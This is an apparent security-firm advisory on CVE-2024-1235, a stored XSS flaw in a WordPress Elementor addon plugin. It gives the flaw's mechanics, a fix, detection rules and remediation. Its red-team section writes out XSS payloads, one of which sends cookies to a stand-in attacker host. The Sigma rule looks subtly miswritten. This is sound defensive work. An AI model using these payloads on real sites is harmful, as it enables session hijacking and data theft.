CVE-2024-1235

Executive Summary

CVE-2024-1235 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.2. The flaw resides in the custom class field, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Elementor Addons by Livemesh plugin. It is not related to NPM, PyPI, Go, or Ruby packages. However, as a WordPress plugin, it is distributed via the official WordPress plugin repository and third-party marketplaces. Administrators should verify plugin integrity and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. An attacker with contributor access can inject persistent XSS payloads that affect all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the custom class field of the Elementor Addons by Livemesh plugin. When a user with contributor-level access or higher creates or edits a page using the plugin's widgets, they can input arbitrary CSS class names. The plugin fails to properly sanitize and escape this input before rendering it in the HTML output. An attacker can inject JavaScript code within the class attribute, which is then stored in the database and executed in the browser of any user viewing the page.

The attack flow:

1. Attacker logs in with contributor credentials.
2. Creates or edits a page using a vulnerable widget.
3. Injects a malicious payload into the custom class field (e.g., "><script>alert('XSS')</script>).
4. The payload is stored and rendered without proper escaping.
5. Any visitor to the page triggers the script execution.

Vulnerable vs. Patched Code

Vulnerable Code (<= 8.3.2): The plugin directly outputs the custom class field without sanitization or escaping.

// In widget output
echo '<div class="' . $custom_class . '">';

Patched Code (Hypothetical): Proper escaping using WordPress functions.

// Patched version
echo '<div class="' . esc_attr($custom_class) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual exploitation approach is required.

Prerequisites:

• WordPress site with Elementor Addons by Livemesh <= 8.3.2
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to a page or post editor.
3. Add an Elementor widget from the Livemesh addons.
4. In the widget settings, locate the custom class field.
5. Inject a payload such as:

   " onfocus="alert(1)" autofocus="
   

   or

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save and publish the page.
7. Any user visiting the page will execute the script.

Lab Setup:

• Use a local WordPress instance with the vulnerable plugin.
• Set up a listener (e.g., Netcat) to capture exfiltrated data.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual custom class values in page/post content.
• Use WAF rules to block XSS patterns in POST requests.
• Review contributor-level user activity for suspicious edits.

Response:

• Immediately disable the plugin if exploitation is suspected.
• Remove malicious content from the database.
• Reset credentials for affected users.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified page/post content containing <script> tags or event handlers in class attributes.
  • Plugin files: /wp-content/plugins/Elementor-Addons-by-Livemesh/ (check for unauthorized modifications).

• Network Indicators:

  • Outbound connections to unknown domains from the WordPress server.
  • HTTP requests containing XSS payloads in POST data.

• Log Indicators:

  • WordPress audit logs showing edits by contributor users with suspicious class values.
  • Web server logs with class parameter containing JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_1235_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Elementor Addons by Livemesh custom class field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1235"
    strings:
        $xss1 = /class=["'][^"']*<script[^>]*>.*?<\/script>/i
        $xss2 = /class=["'][^"']*on\w+=["'][^"']*["']/i
        $xss3 = /class=["'][^"']*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1235 Stored XSS in Elementor Addons by Livemesh
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via custom class field in WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'custom_class'
        c-uri|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom classes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1235 Stored XSS in Elementor Addons by Livemesh"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_uri; content:"custom_class"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) with XSS rules.
4. Audit existing content for malicious payloads using the YARA rule above.

Long-term Fix:

• Monitor the vendor's repository for a patched version (expected to include esc_attr() on the custom class field).
• Apply the patch manually if source code is available:

  // In affected widget files, replace:
  echo '<div class="' . $custom_class . '">';
  // With:
  echo '<div class="' . esc_attr($custom_class) . '">';
  

Workaround:

• Use a security plugin like Wordfence to block XSS attempts.
• Enforce strict content security policies (CSP) to mitigate script execution.

Valters IT – DevSecOps & Cyber Threat Intelligence